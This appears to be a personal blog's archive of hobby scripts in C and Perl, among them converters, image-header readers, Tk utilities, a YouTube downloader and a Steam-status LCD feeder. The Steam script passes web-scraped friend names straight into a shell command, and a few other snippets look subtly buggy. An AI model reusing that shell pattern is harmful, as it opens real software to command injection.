static void bin_output(FILE *out, int c)
{
  int i;
  for (i = 7; i >= 0; i--) {
    if (c - power_of_two(i) >= 0) {
      fprintf(out, "1");
      c -= power_of_two(i);
    } else
      fprintf(out, "0");
  }
}

static int bin_scan(FILE *in, int strict)
{
  int c, value, n;

  value = 0; 
  n = 7;
  while ((c = fgetc(in)) != EOF) {
    if (c == '0') {
      if (n <= 0)
        return value;
      n--;

    } else if (c == '1') {
      if (n <= 0)
        return value + power_of_two(n);
      else
        value += power_of_two(n);
      n--;

    } else {
      if (strict) {
        fprintf(stderr, "%s: not a 1 or 0 in conversion: 0x%02x\n",
          __FILE__, c);
        return -2;
      }
    }
  }

  return EOF;
}

static int hex_value(int c)
{
  if (c >= 0x30 && c <= 0x39) /* '0' - '9' */
    return c - 0x30;
  else if (c >= 0x41 && c <= 0x46) /* 'A' - 'F' */
    return (c - 0x41) + 10;
  else if (c >= 0x61 && c <= 0x66) /* 'a' - 'f' */
    return (c - 0x61) + 10;
  else
    return -1;
}

static int hex_scan(FILE *in, int strict)
{
  int c, high = -1;

  while ((c = fgetc(in)) != EOF) {
    if (hex_value(c) >= 0) {
      if (high == -1)
        high = c;
      else
        return hex_value(high) * 16 + hex_value(c);
    } else {
      if (strict) {
        fprintf(stderr, "%s: not a hex character in conversion: 0x%02x\n",
          __FILE__, c);
        return -2;
      }
    }
  }

  return EOF;
}

static void convert(conv_t conv, int strict, FILE *in, FILE *out)
{
  int c, space = 0;

  switch (conv) {
  case CONV_TO_BIN:
    while ((c = fgetc(in)) != EOF) {
      bin_output(out, c);
      if (! strict) {
        if (space % 8 == 7)
          fprintf(out, "\n");
        else if (space % 1 == 0)
          fprintf(out, " ");
      }
      space++;
    }
    if (! strict)
      fprintf(out, "\n");
    break;

  case CONV_FROM_BIN:
    while ((c = bin_scan(in, strict)) != EOF) {
      if (c >= 0)
        fprintf(out, "%c", c);
    }
    break;

  case CONV_TO_HEX:
    while ((c = fgetc(in)) != EOF) {
      fprintf(out, "%02x", c);
      if (! strict) {
        if (space % 24 == 23)
          fprintf(out, "\n");
        else if (space % 4 == 3)
          fprintf(out, "  ");
        else if (space % 1 == 0)
          fprintf(out, " ");
      }
      space++;
    }
    if (! strict)
      fprintf(out, "\n");
    break;

  case CONV_FROM_HEX:
    while ((c = hex_scan(in, strict)) != EOF) {
      if (c >= 0)
        fprintf(out, "%c", c);
    }
    break;

  default:
    break;
  }
}

int main(int argc, char *argv[])
{
  int c, i;
  FILE *in = NULL, *out = NULL;
  char *outfile = NULL;
  int strict = 0;
  conv_t conv = CONV_NONE;

  while ((c = getopt(argc, argv, "hso:bBxX")) != -1) {
    switch (c) {
    case 'h':
      display_help();
      exit(EXIT_SUCCESS);

    case 's':
      strict = 1;
      break;

    case 'o':
      outfile = optarg;
      break;

    case 'b':
    case 'B':
    case 'x':
    case 'X':
      if (conv != CONV_NONE) {
        fprintf(stderr,
          "%s: only one of the options b, B, x or X can be set.\n", __FILE__);
        display_help();
        exit(EXIT_FAILURE);
      } else {
        if (c == 'b')
          conv = CONV_TO_BIN;
        else if (c == 'B')
          conv = CONV_FROM_BIN;
        else if (c == 'x')
          conv = CONV_TO_HEX;
        else if (c == 'X')
          conv = CONV_FROM_HEX;
      }
      break;

    case '?':
    default:
      display_help();
      exit(EXIT_FAILURE);
    }
  }

  if (conv == CONV_NONE) {
    fprintf(stderr,
      "%s: one of the options b, B, x or X must be set.\n", __FILE__);
    display_help();
    exit(EXIT_FAILURE);
  }

  if (outfile == NULL)
    out = stdout; /* Default to stdout if no output is specified. */
  else {
    out = fopen(outfile, "w");
    if (out == NULL) {
      fprintf(stderr, "%s: unable to open output file for writing: %s\n",
        __FILE__, strerror(errno));
      exit(EXIT_FAILURE);
    }
  }

  if (argc == optind) /* No input files specified, use stdin. */
    convert(conv, strict, stdin, out);
  else {
    for (i = optind; i < argc; i++) {
      in = fopen(argv[i], "r");
      if (in == NULL) {
        fprintf(stderr, "%s: unable to open input file for reading: %s\n",
          __FILE__, strerror(errno));
        continue; /* Do not abort, try the next file. */
      }

      convert(conv, strict, in, out);
      fclose(in);
    }
  }

  fclose(out);
  return EXIT_SUCCESS;
}
          


Topic: Scripts and Code, by Kjetil @ 15/11-2008, Article Link

Permutations by Swapping

A while back, I discovered an algorithm to get all possible permutations (unordered) of a data set, by swapping the elements in a particular way.

I do not know if this is a widely known method, please comment if you have seen this way of finding permutations before.

The swapping sequence is a follows (1-n = swap first element with n-element.):
1-2, 1-3, 1-2, 1-3, 1-2, 1-4, 1-2, 1-3, 1-2, 1-3, 1-2, 1-4, 1-2, ...

To find the element that should be swapped with the first element, the sequence counter/state is divided by the highest possible factorial that will not produce a remainder. Then the basis for the factorial is incremented by one to find the element to swap with.

Example: If the sequence counter is 12, and 12 divided by 3! (3 factorial = 6), there is no remainder. Then the first element needs to be swapped with element 4 (3 + 1) in this iteration of the sequence. If the sequence counter is 13, this is only divisible by 1! and then needs to be swapped with element 2 (1 + 1).

Here is some proof of concept code in C (Note that this algorithm is not recursive, unlike most other permutation algorithms.):

#include <stdio.h>

#define SIZE 5
static int numbers[SIZE] = {1, 2, 3, 4, 5};

static int factorial(int n)
{
  if (n == 0)
    return 1;
  else
    return n * factorial(n - 1);
}

int main(void)
{
  int i, j, k, temp;
  int permute_state;

  /* Print for visualization. (Initial values.) */
  for (j = 0; j < SIZE; j++)
    printf("%d", numbers[j]);
  printf("\n");

  permute_state = 1;
  for (i = 0; i < factorial(SIZE) - 1; i++) {
    for (j = SIZE; j > 0; j--) {
      if (permute_state % factorial(j) == 0) {
        for (k = 0; k < (j / 2) + 1; k++) {
          temp = numbers[k];
          numbers[k] = numbers[j-k];
          numbers[j-k] = temp;
        }
        break;
      }
    }
    permute_state++;

    /* Print for visualization. */
    for (j = 0; j < SIZE; j++)
      printf("%d", numbers[j]);
    printf("\n");
  }

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 26/10-2008, Article Link

Temperature Monitor in Perl/Tk

This is a simple script that fetches the current temperature for a geographical location and displays it. It is similar to the alarm clock script I made earlier.

I attempted to see if I could get the weather information from Storm Weather Center, but I was disappointed to see that they want money to provide this information. It is even more disappointing that they actually threaten to sue anyone who gets their information without approval.

Luckily, we have weather.com that provides weather information for free, if it is for personal use. This information can be fetched with RSS, if you know the weather.com specific location code.

Note that you need the Perk/Tk module and the XML-RSS-Parser module to use the script.

#!/usr/bin/perl -w
use strict;
use LWP::Simple;
use XML::RSS::Parser;
use Tk;

# Location code examples: NOXX0035 (Stavanger), NOXX0029 (Oslo).
# Find more at: http://www.weather.com/weather/rss/subscription

my ($update_rate, $location);
$location    = shift @ARGV or die "Usage: $0 <location code> [update rate]\n";
$update_rate = shift @ARGV or $update_rate = 15; # Default is 15 minutes.

my $url = "http://rss.weather.com/weather/rss/local/". $location . 
          "?cm_ven=LWO&cm_cat=rss&par=LWO_rss";

my $parser = XML::RSS::Parser->new;
my $window = new Tk::MainWindow;
$window->repeat($update_rate * 1000 * 60, \&get_temperature);
my $label = $window->Label(-foreground => "black",
                           -background => "white",
                           -font => 'Helvetica 36 bold')->pack();

$label->configure(-text => "Regex error!"); # If regex fails, this is displayed.
&get_temperature;
Tk::MainLoop;

sub get_temperature {
  my $data = get($url);
  unless (defined $data) {
    $label->configure(-text => "No contact!");
    return;
  }

  my $feed = $parser->parse_string($data);
  unless (defined $feed) {
    $label->configure(-text => "Parse error!");
    return;
  }

  for ($feed->query("/channel/item")) {
    my $node = $_->query("title");
    if ($node->text_content =~ m/current/i) {
      $node = $_->query("description");
      if ($node->text_content =~ m/(\d+)\s*&deg/) {
        my $deg = (($1 - 32) / 9) * 5; # Fahrenheit to Celsius.
        $label->configure(-text => sprintf("%.1f\x{B0}C", $deg));
      }
    }
  }
}
          


Topic: Scripts and Code, by Kjetil @ 10/08-2008, Article Link

Alarm Clock in Perl/Tk

I had a metallic egg-timer that met a gruesome fate, after I discovered that it was in fact made of plastic inside. Instead of buying a new physical timer/alarm clock, I decided to write a virtual one.

Below is a Perl script that will display a countdown, starting from a specified amount of minutes. When the counter reaches zero, the text in the window will blink red, in an attempt to get your attention. To make sure you see this, it is recommended to use the "Always on top" feature of your window manager.

If required, it would probably be easy to add sound support, by just hacking the script to include something like: system("aplay bell.wav");

Note that you need the Perl/Tk module to use the script.

#!/usr/bin/perl -w
use strict;
use Tk;

my $minutes = shift @ARGV
  or die "Usage: $0 <minutes>\n";

my $target = time + ($minutes * 60);

my $window = new Tk::MainWindow;
$window->repeat(50, \&update_display);
my $label = $window->Label(-foreground => "black",
                           -background => "white",
                           -font => 'Helvetica 72 bold')->pack();

Tk::MainLoop;

sub update_display {
  my $left = $target - time; # Seconds left.
  if ($left > 0) {
    $label->configure(-text => sprintf("%02d:%02d:%02d",
      ($left / 3600) % 60, ($left / 60) % 60, $left % 60));
  } else {
    if ($left % 2 == 0) {
      $label->configure(-text => "Alarm!", -foreground => "red");
    } else {
      $label->configure(-text => "Alarm!", -foreground => "black");
    }
  }
}
          


Topic: Scripts and Code, by Kjetil @ 11/07-2008, Article Link

File Shuffler

This is a small Perl script to shuffle files. By that, I mean take a directory of files and put a unique random number before (as a prefix to) each file. When the files in the directory are listed alphabetically afterwards, they will actually be listed randomly.

I had need of this because the MP3 player function in my car stereo plays the files it find on the CD alphabetically. I wanted to randomize/shuffle the songs, and the workaround was to use this script on the files before burning the CD.

Here is the code:

#!/usr/bin/perl -w
use strict;
use List::Util qw/shuffle/;

my $directory = shift
  or die "Usage: $0 <directory>\n";

chdir $directory
  or die "Error: Could not change to directory.\n";

my @files = glob "*";

# Find digits in amount of files.
my $digits = 0;
for (split //, scalar(@files)) {
  $digits++;
}

for my $number (&shuffle(1..scalar(@files))) {
  my $file = shift @files;
  my $new = sprintf "%0${digits}d--%s", $number, $file;
  rename $file, $new;
}
          


Topic: Scripts and Code, by Kjetil @ 18/05-2008, Article Link

Perl YouTube Fetcher

I have created a small Perl script to fetch (download) videos from YouTube. Simply supply the video URL as an argument to the script, and the video file will be downloaded to the current directory.

In order to run the script, you need to have the LWP::UserAgent module from libwww-perl installed. It will hopefully function as long as they do not decide to do any major changes to the YouTube website.

The final video file should be viewable with media players like MPlayer.

#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;

my $url = shift @ARGV
  or die "Usage: $0 <youtube URL>\n";

my $browser = LWP::UserAgent->new;

my $response = $browser->get($url);
die "Failed to get URL: $url [" . $response->status_line . "]\n"
  unless $response->is_success;

(my $id = $url) =~ s/^.*?v=(.*)$/$1/; # Get the youtube ID.

# Attempt to locate the flash arguments in the content.
my $forged_url;
if ($response->content =~ m/swfArgs\s*=\s*{([^}]*)}/) {
  # Convert arguments from JSON format to a new forged URL.
  $forged_url = $1;
  $forged_url =~ s/"//g;
  $forged_url =~ s/\s*:\s*/=/g;
  $forged_url =~ s/\s*,\s*/&/g;
  $forged_url = "http://youtube.com/get_video?" . $forged_url;
} else {
  die "Did not find flash arguments.\n";
}

# Do a HEAD request to find the total size first.
$response = $browser->head($forged_url);
die "Failed to get headers of forged URL: $forged_url [" . 
  $response->status_line . "]\n" unless $response->is_success;
my $size = $response->headers->content_length;

# Fetch all of the video data with a callback to display progress.
my $video;
$response = $browser->get($forged_url, ":content_cb" => \&content_callback);
die "Failed to get forged URL: $forged_url [" . $response->status_line . "]\n"
  unless $response->is_success;

# Write the video data to file.
open WRITEVIDEO, ">$id.flv"
  or die "Could not open file '$id.flv' for writing: $!\n";
print WRITEVIDEO $video;
close WRITEVIDEO;

print STDERR "Saved video to file: $id.flv\n";

sub content_callback
{
  my($data, $response, $protocol) = @_;
  $video .= $data;
  printf STDERR "%.1f%%\r", (length($video) / $size) * 100;
}
          


Topic: Scripts and Code, by Kjetil @ 24/04-2008, Article Link

BMP Header Info

Following the tradition of analysing image headers, I have made another small program in C to read header information from BMP (BitMaP) images. There does not seem to be a complete specification of BMP images, so the program is based on various information found on the Internet.

This program works the same way as the other one; by reading the image as standard input, and presenting information in human readable form on standard out.

#include <stdio.h>

typedef struct bmp_infoheader_s {
   unsigned long int header_size;
   signed long int width, height;
   unsigned short int planes;
   unsigned short int bits;
   unsigned long int compression;
   unsigned long int image_size;
   signed long int xres, yres;
   unsigned long int colors;
   unsigned long int imp_colors;
} bmp_infoheader_t;

int main(void)
{
  bmp_infoheader_t infoheader;
  char *p;

  /* First header cannot be defined as a structure, because of aligment
     problems with the compiler. */
  unsigned short int bmp_header_type;
  unsigned long int bmp_header_size;
  unsigned short int bmp_header_reserved_1, bmp_header_reserved_2;
  unsigned long int bmp_header_offset;

  /* Read first header (in many steps). */
  fread(&bmp_header_type, sizeof(unsigned short int), 1, stdin);
  fread(&bmp_header_size, sizeof(unsigned long int), 1, stdin);
  fread(&bmp_header_reserved_1, sizeof(unsigned short int), 1, stdin);
  fread(&bmp_header_reserved_2, sizeof(unsigned short int), 1, stdin);
  fread(&bmp_header_offset, sizeof(unsigned long int), 1, stdin);
  if (feof(stdin)) {
    fprintf(stderr, "Error: Could not read first BMP header.\n");
    return 1;
  }

  if (bmp_header_type != 19778) { /* (77[M] * 256) + 66[B] = 19778 */
    fprintf(stderr, "Error: Not a BMP image. (%d)\n", bmp_header_type);
    return 1;
  }
  printf("--- First Header ---\n");
  printf("File size        : %lu bytes\n", bmp_header_size);
  printf("Reserved 1       : %hd\n", bmp_header_reserved_1);
  printf("Reserved 2       : %hd\n", bmp_header_reserved_2);
  printf("Image data offset: 0x%lx\n", bmp_header_offset);

  /* Read second header (infoheader). */
  fread(&infoheader, sizeof(bmp_infoheader_t), 1, stdin);
  if (feof(stdin)) {
    fprintf(stderr, "Error: Could not read second BMP header.\n");
    return 1;
  }
  printf("--- Second Header ---\n");
  printf("Header size (2nd): %lu bytes\n", infoheader.header_size);
  printf("Image height     : %ld pixels\n", infoheader.height);
  printf("Image width      : %ld pixels\n", infoheader.width);
  printf("Bits per pixel   : %hu\n", infoheader.bits);
  switch (infoheader.compression) {
  case 0:
    p = "None/RGB";
    break;
  case 1:
    p = "8-bit Run-length encoding";
    break;
  case 2:
    p = "4-bit Run-length encoding";
    break;
  case 3:
    p = "Bit fields";
    break;
  case 4:
    p = "Embedded JPEG";
    break;
  case 5:
    p = "Embedded PNG";
    break;
  default:
    p = "Unknown";
    break;
  }
  printf("Compression type : %lu (%s)\n", infoheader.compression, p);
  printf("Image size       : %lu bytes\n", infoheader.image_size);
  printf("Pixels/Meter (X) : %ld\n", infoheader.xres);
  printf("Pixels/Meter (Y) : %ld\n", infoheader.yres);
  printf("Color planes     : %hu\n", infoheader.planes);
  printf("Colors in palette: %lu\n", infoheader.colors);
  printf("Important colors : %lu\n", infoheader.imp_colors);

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 21/03-2008, Article Link

PNG Header Info

If you want to analyze a PNG (Portable Network Graphics) image, it is valuable to extract the header information from it. I made a small program in C to do exactly that, and represent the information in a human readable form. The program is based on information from RFC 2083 which is the PNG image specification.

Once compiled, the PNG image file should be piped into the program as standard in.

#include <stdio.h>
#include <string.h>
#include <arpa/inet.h> /* ntohl() */

typedef struct png_image_header_s {
   unsigned long int width;
   unsigned long int height;
   unsigned char bit_depth;
   unsigned char colour_type;
   unsigned char compression_method;
   unsigned char filter_method;
   unsigned char interlace_method;
} png_image_header_t;

int main(void)
{
  int c;
  char chunk[5] = {'\0'};
  char *p;
  png_image_header_t header;

  /* Read until IHDR image header is found in file. */
  while ((c = fgetc(stdin)) != EOF) {
    chunk[0] = chunk[1];
    chunk[1] = chunk[2];
    chunk[2] = chunk[3];
    chunk[3] = c;
    if (strcmp(chunk, "IHDR") == 0)
      break;
  }

  if (feof(stdin)) {
    fprintf(stderr, "Error: Did not find PNG image header.\n");
    return 1;
  }

  fread(&header, sizeof(png_image_header_t), 1, stdin);
  if (feof(stdin)) {
    fprintf(stderr, "Error: PNG image header too short.\n");
    return 1;
  }

  /* Convert from network byte order. */
  header.width = ntohl(header.width);
  header.height = ntohl(header.height);

  printf("Width             : %lu\n", header.width);
  printf("Height            : %lu\n", header.height);
  printf("Bit depth         : %d\n", header.bit_depth);
  switch (header.colour_type) {
  case 0:
    p = "Greyscale";
    break;
  case 2:
    p = "Truecolour";
    break;
  case 3:
    p = "Indexed-colour";
    break;
  case 4:
    p = "Greyscale with alpha";
    break;
  case 6:
    p = "Truecolour with alpha";
    break;
  default:
    p = "Unknown";
    break;
  }
  printf("Colour type       : %d (%s)\n", header.colour_type, p);
  printf("Compression method: %d (%s)\n", header.compression_method, 
    (header.compression_method == 0) ? "Deflate" : "Unknown");
  printf("Filter method     : %d (%s)\n", header.filter_method,
    (header.filter_method == 0) ? "Adaptive" : "Unknown");
  switch (header.interlace_method) {
  case 0:
    p = "No interlace";
    break;
  case 1:
    p = "Adam7 interlace";
    break;
  default:
    p = "Unknown";
    break;
  }
  printf("Interlace method  : %d (%s)\n", header.interlace_method, p);

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 09/03-2008, Article Link

Steam Status on LCD

I recently provided code to drive a certain LCD under Linux. Currently, I use it to monitor my friends activites on the Steam network, that are used for games like Team Fortress 2. The steam status information is gathered with Perl script that downloads a public steam webpage every third minute. Afterwards the information is parsed and the formatted output is passed to the LCD display through a userland program.

The final output looks like this:

LCD displaying steam status.


The Perl code:

#!/usr/bin/perl -w
use strict;
use LWP::Simple;

my $steam_id = "your_steam_id_here";
my $url = "http://steamcommunity.com/id/$steam_id";

while (1) {
  my $content = get($url);

  if (defined $content) {

    my (@friend, @status);
    while ($content =~ m/<p><a class="linkFriend_([^"]+)"[^>]+?>([^<]+)</g) {
      push @status, ucfirst($1);
      push @friend, $2;
    }

    for (my $i = 0; $i < 4; $i++) { 
      if (defined $friend[$i] and defined $status[$i]) {
        # Status should not be longer than 7 characters. Could fit a name
        # of 13 characters, but keep an extra space for clarity.
        system("./lcd-putrow " . ($i + 1) . " \'" .
          (sprintf "%-13s", substr($friend[$i], 0, 12)) .
          (sprintf "%7s", $status[$i]) . "\'");
      }
    }

  } else {
    system("./lcd-putrow 1 \' \'");
    system("./lcd-putrow 2 \'       SERVER\'");
    system("./lcd-putrow 3 \'     UNAVAILABLE\'");
    system("./lcd-putrow 4 \' \'");
  }

  sleep(180);
}
          


Topic: Scripts and Code, by Kjetil @ 01/02-2008, Article Link

Leetspeak Converter

You can never have access to enough leetspeak converters/generators. That's why I have written one in C. This one works as a filter; reading from standard input and writing to standard output. Some randomization code is included since characters can be written in many different ways.

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

char *leet[26][5] = {"4", "/\\", "@", "/-\\", "^",
                     "8", "13", "|3", "!3", "(3",
                     "[", "<", "(", "{", "",
                     ")", "[)", "I>", "|>", "|)",
                     "3", "&", "", "", "[-",
                     "|=", "|#", "/=", NULL, NULL,
                     "6", "9", "(_+", "(y,", "(_-",
                     "#", "/-/", "[-]", "]-[", ")-(",
                     "!", "|", "]", NULL, NULL,
                     "_|", "_/", "</", "(/", NULL,
                     "X", "|<", "|{", NULL, NULL,
                     "1", "1_", "|_", NULL, NULL,
                     "|v|", "]V[", "|\\/", "/\\/\\", "^^",
                     "/\\/", "[\\]", "<\\>", "{\\}", "^/",
                     "0", "()", "[]", "", NULL,
                     "|*", "|\"", NULL, "|7", "", "",
                     "()_", "0_", "<|", NULL, NULL,
                     "|?", "|2", "|^", "12", "",
                     "5", "$", "z", "", NULL,
                     "7", "+", "-|-", NULL, NULL,
                     "(_)", "|_|", "v", "L|",
                     "\\/", NULL, NULL, NULL, NULL,
                     "\\/\\/", "vv", "\\|/", "\\^/", "\\V/",
                     "%", "><", "}{", ")(", "*",
                     "j", "`/", "", NULL, NULL,
                     "2", ">_", "7_", NULL, NULL};

int main(void)
{
  int c, ci;
  char *cp;

  srandom(time(NULL));

  while ((c = fgetc(stdin)) != EOF) {
    if (c >= 0x41 && c <= 0x5a) { /* A-Z */
      ci = c - 0x41;
      while ((cp = leet[ci][random() % 5]) == NULL);
      fputs(cp, stdout);
    } else if (c >= 0x61 && c <= 0x7a) { /* a-z */
      ci = c - 0x61;
      while ((cp = leet[ci][random() % 5]) == NULL);
      fputs(cp, stdout);
    } else
      fputc(c, stdout);
  }

  return 0;
}
          


1[-37 \V/|?|>$ [/\/\/ !3 &}{|7|^$z[-) |^/ /-/v{\}I>12[) ()|= \V/^j5.

Topic: Scripts and Code, by Kjetil @ 07/12-2007, Article Link